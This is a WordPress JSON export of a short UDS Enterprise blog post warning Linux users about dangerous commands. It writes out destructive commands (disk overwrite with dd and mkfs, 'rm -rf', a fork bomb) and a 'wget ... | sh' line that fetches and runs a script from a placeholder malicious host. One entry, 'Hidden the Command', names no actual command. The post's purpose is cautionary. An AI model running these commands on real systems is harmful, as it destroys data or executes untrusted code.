{"id":26679,"date":"2016-03-21T15:25:20","date_gmt":"2016-03-21T15:25:20","guid":{"rendered":"https:\/\/udsenterprise.com\/10-linux-commands-you-should-never-execute\/"},"modified":"2023-09-21T12:54:04","modified_gmt":"2023-09-21T12:54:04","slug":"10-linux-commands-you-should-never-execute","status":"publish","type":"post","link":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/","title":{"rendered":"10 Linux commands you should never execute"},"content":{"rendered":"<p>&#8211;<strong>> \/dev\/sda<\/strong>: It replaces all data on a block, resulting on a total loss of those data.<\/p>\n<p>&#8211;<strong>mv folder \/dev\/null<\/strong>: It moves all the contents of a user directory to \/dev\/null.<\/p>\n<p>&#8211;<strong>wget http:\/\/malicious_source -O- | sh<\/strong>: It downloads and executes a script from a malicious source.<\/p>\n<p>&#8211;<strong>mkfs.ext3 \/dev\/sda<\/strong>: It formats sda block and leaves the system into unrecoverable stage.<\/p>\n<p>&#8211;<strong>> file<\/strong>: It deletes the content of a file.<\/p>\n<p>&#8211;<strong>^foo^bar<\/strong>: It is used to edit previously executed commands without the need of retyping them, so the changes to be made need to be thoroughly checked.<\/p>\n<p>&#8211;<strong>dd if=\/dev\/random of=\/dev\/sda<\/strong>: It wipes out the sda block and adds junk data, so it leaves the system at inconsistent and unrecoverable stage.<\/p>\n<p>&#8211;<strong>Hidden the Command<\/strong>: It wipes root partition.<\/p>\n<p>To dig deeper into the consequences of executing these commands, have a look at this article: <a href=\"http:\/\/www.tecmint.com\/10-most-dangerous-commands-you-should-never-execute-on-linux\/\" target=\"_blank\" rel=\"noopener nofollow\">10 Most Dangerous Linux Commands<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Linux<\/strong> commands are useful and productive, but sometimes they may be dangerous, specially when you are not an expert on the tasks you are performing. <\/p>\n<p>That&#8217;s why it is highly recommended to double chek these commands below before executing them: <\/p>\n<p>&#8211;<strong>rm -rf<\/strong>: It is one of the fastest way to wipe out a folder and its content.<\/p>\n<p>&#8211;<strong>:(){:|:&amp;};:<\/strong>:  It keeps on executing one function again and again untill the system freezes.<\/p>\n","protected":false},"author":2,"featured_media":13198,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[985,1023,971],"tags":[986,1024,972],"class_list":["post-26679","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hot-news","category-linux-en","category-tips","tag-hot-news","tag-linux-en","tag-tips"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.1 (Yoast SEO v27.1.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>10 Linux commands you should never execute<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"10 Linux commands you should never execute\" \/>\n<meta property=\"og:description\" content=\"Linux commands are useful and productive, but sometimes they may be dangerous, specially when you are not an expert on the tasks you are performing. That&#039;s why it is highly recommended to double chek these commands below before executing them: -rm -rf: It is one of the fastest way to wipe out a folder and its content. -:(){:|:&amp;};:: It keeps on executing one function again and again untill the system freezes.\" \/>\n<meta property=\"og:site_name\" content=\"UDS Enterprise\" \/>\n<meta property=\"article:published_time\" content=\"2016-03-21T15:25:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-09-21T12:54:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2022\/11\/img-linea-blanca.gif\" \/>\n\t<meta property=\"og:image:width\" content=\"67\" \/>\n\t<meta property=\"og:image:height\" content=\"4\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/gif\" \/>\n<meta name=\"author\" content=\"UDS Enterprise Team\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2022\/11\/img-linea-blanca.gif\" \/>\n<meta name=\"twitter:creator\" content=\"@VirtualCable_\" \/>\n<meta name=\"twitter:site\" content=\"@VirtualCable_\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"UDS Enterprise Team\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":[\"Article\",\"BlogPosting\"],\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\"},\"author\":{\"name\":\"UDS Enterprise Team\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/83f63ed09241332cf10f8f6e7bbdd920\"},\"headline\":\"10 Linux commands you should never execute\",\"datePublished\":\"2016-03-21T15:25:20+00:00\",\"dateModified\":\"2023-09-21T12:54:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\"},\"wordCount\":162,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/#organization\"},\"image\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg\",\"keywords\":[\"Hot news\",\"Linux-en\",\"Tips\"],\"articleSection\":[\"Hot news\",\"Linux-en\",\"Tips\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#respond\"]}]},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\",\"url\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\",\"name\":\"10 Linux commands you should never execute\",\"isPartOf\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg\",\"datePublished\":\"2016-03-21T15:25:20+00:00\",\"dateModified\":\"2023-09-21T12:54:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage\",\"url\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg\",\"contentUrl\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg\",\"width\":400,\"height\":222},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/udsenterprise.com\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hot news\",\"item\":\"https:\/\/udsenterprise.com\/en\/category\/hot-news\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"10 Linux commands you should never execute\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#website\",\"url\":\"https:\/\/udsenterprise.com\/en\/\",\"name\":\"UDS Enterprise\",\"description\":\"UDS Enterprise es una soluci\u00f3n segura y flexible para virtualizaci\u00f3n de escritorios y acceso remoto, compatible con Windows, Linux y macOS.\",\"publisher\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/#organization\"},\"alternateName\":\"UDS Enterprise\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/udsenterprise.com\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#organization\",\"name\":\"UDS Enterprise\",\"alternateName\":\"UDS Enterprise\",\"url\":\"https:\/\/udsenterprise.com\/en\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/05\/img-logotipo-top-00-udsenterprise.jpg\",\"contentUrl\":\"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/05\/img-logotipo-top-00-udsenterprise.jpg\",\"width\":300,\"height\":202,\"caption\":\"UDS Enterprise\"},\"image\":{\"@id\":\"https:\/\/udsenterprise.com\/en\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/x.com\/VirtualCable_\",\"https:\/\/es.linkedin.com\/company\/virtualcable\",\"https:\/\/www.youtube.com\/@UDSEnterprise\"],\"description\":\"Virtual Cable es una empresa espa\u00f1ola especializada en soluciones de virtualizaci\u00f3n del puesto de trabajo. Su producto estrella, UDS Enterprise, es un broker de conexiones multiplataforma que permite la administraci\u00f3n y despliegue de escritorios virtuales Windows y Linux, la virtualizaci\u00f3n de aplicaciones y el acceso remoto a equipos f\u00edsicos con sistemas operativos Windows, Linux y macOS\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/83f63ed09241332cf10f8f6e7bbdd920\",\"name\":\"UDS Enterprise Team\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/b415c61bc26d023da7c12ea873f9088732accd901f13dd03e6db59c6232a06a9?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/b415c61bc26d023da7c12ea873f9088732accd901f13dd03e6db59c6232a06a9?s=96&d=mm&r=g\",\"caption\":\"UDS Enterprise Team\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"10 Linux commands you should never execute","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/","og_locale":"en_US","og_type":"article","og_title":"10 Linux commands you should never execute","og_description":"Linux commands are useful and productive, but sometimes they may be dangerous, specially when you are not an expert on the tasks you are performing. That's why it is highly recommended to double chek these commands below before executing them: -rm -rf: It is one of the fastest way to wipe out a folder and its content. -:(){:|:&amp;};:: It keeps on executing one function again and again untill the system freezes.","og_site_name":"UDS Enterprise","article_published_time":"2016-03-21T15:25:20+00:00","article_modified_time":"2023-09-21T12:54:04+00:00","og_image":[{"width":67,"height":4,"url":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2022\/11\/img-linea-blanca.gif","type":"image\/gif"}],"author":"UDS Enterprise Team","twitter_card":"summary_large_image","twitter_image":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2022\/11\/img-linea-blanca.gif","twitter_creator":"@VirtualCable_","twitter_site":"@VirtualCable_","twitter_misc":{"Written by":"UDS Enterprise Team","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":["Article","BlogPosting"],"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#article","isPartOf":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/"},"author":{"name":"UDS Enterprise Team","@id":"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/83f63ed09241332cf10f8f6e7bbdd920"},"headline":"10 Linux commands you should never execute","datePublished":"2016-03-21T15:25:20+00:00","dateModified":"2023-09-21T12:54:04+00:00","mainEntityOfPage":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/"},"wordCount":162,"commentCount":0,"publisher":{"@id":"https:\/\/udsenterprise.com\/en\/#organization"},"image":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage"},"thumbnailUrl":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg","keywords":["Hot news","Linux-en","Tips"],"articleSection":["Hot news","Linux-en","Tips"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#respond"]}]},{"@type":["WebPage","ItemPage"],"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/","url":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/","name":"10 Linux commands you should never execute","isPartOf":{"@id":"https:\/\/udsenterprise.com\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage"},"image":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage"},"thumbnailUrl":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg","datePublished":"2016-03-21T15:25:20+00:00","dateModified":"2023-09-21T12:54:04+00:00","breadcrumb":{"@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#primaryimage","url":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg","contentUrl":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/07\/10-dangerous-linux-commands.jpg","width":400,"height":222},{"@type":"BreadcrumbList","@id":"https:\/\/udsenterprise.com\/en\/10-linux-commands-you-should-never-execute\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/udsenterprise.com\/en\/"},{"@type":"ListItem","position":2,"name":"Hot news","item":"https:\/\/udsenterprise.com\/en\/category\/hot-news\/"},{"@type":"ListItem","position":3,"name":"10 Linux commands you should never execute"}]},{"@type":"WebSite","@id":"https:\/\/udsenterprise.com\/en\/#website","url":"https:\/\/udsenterprise.com\/en\/","name":"UDS Enterprise","description":"UDS Enterprise es una soluci\u00f3n segura y flexible para virtualizaci\u00f3n de escritorios y acceso remoto, compatible con Windows, Linux y macOS.","publisher":{"@id":"https:\/\/udsenterprise.com\/en\/#organization"},"alternateName":"UDS Enterprise","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/udsenterprise.com\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/udsenterprise.com\/en\/#organization","name":"UDS Enterprise","alternateName":"UDS Enterprise","url":"https:\/\/udsenterprise.com\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/udsenterprise.com\/en\/#\/schema\/logo\/image\/","url":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/05\/img-logotipo-top-00-udsenterprise.jpg","contentUrl":"https:\/\/udsenterprise.com\/wp-content\/uploads\/2023\/05\/img-logotipo-top-00-udsenterprise.jpg","width":300,"height":202,"caption":"UDS Enterprise"},"image":{"@id":"https:\/\/udsenterprise.com\/en\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/VirtualCable_","https:\/\/es.linkedin.com\/company\/virtualcable","https:\/\/www.youtube.com\/@UDSEnterprise"],"description":"Virtual Cable es una empresa espa\u00f1ola especializada en soluciones de virtualizaci\u00f3n del puesto de trabajo. Su producto estrella, UDS Enterprise, es un broker de conexiones multiplataforma que permite la administraci\u00f3n y despliegue de escritorios virtuales Windows y Linux, la virtualizaci\u00f3n de aplicaciones y el acceso remoto a equipos f\u00edsicos con sistemas operativos Windows, Linux y macOS"},{"@type":"Person","@id":"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/83f63ed09241332cf10f8f6e7bbdd920","name":"UDS Enterprise Team","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/udsenterprise.com\/en\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/b415c61bc26d023da7c12ea873f9088732accd901f13dd03e6db59c6232a06a9?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b415c61bc26d023da7c12ea873f9088732accd901f13dd03e6db59c6232a06a9?s=96&d=mm&r=g","caption":"UDS Enterprise Team"}}]}},"_links":{"self":[{"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/posts\/26679","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/comments?post=26679"}],"version-history":[{"count":1,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/posts\/26679\/revisions"}],"predecessor-version":[{"id":28910,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/posts\/26679\/revisions\/28910"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/media\/13198"}],"wp:attachment":[{"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/media?parent=26679"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/categories?post=26679"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/udsenterprise.com\/en\/wp-json\/wp\/v2\/tags?post=26679"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}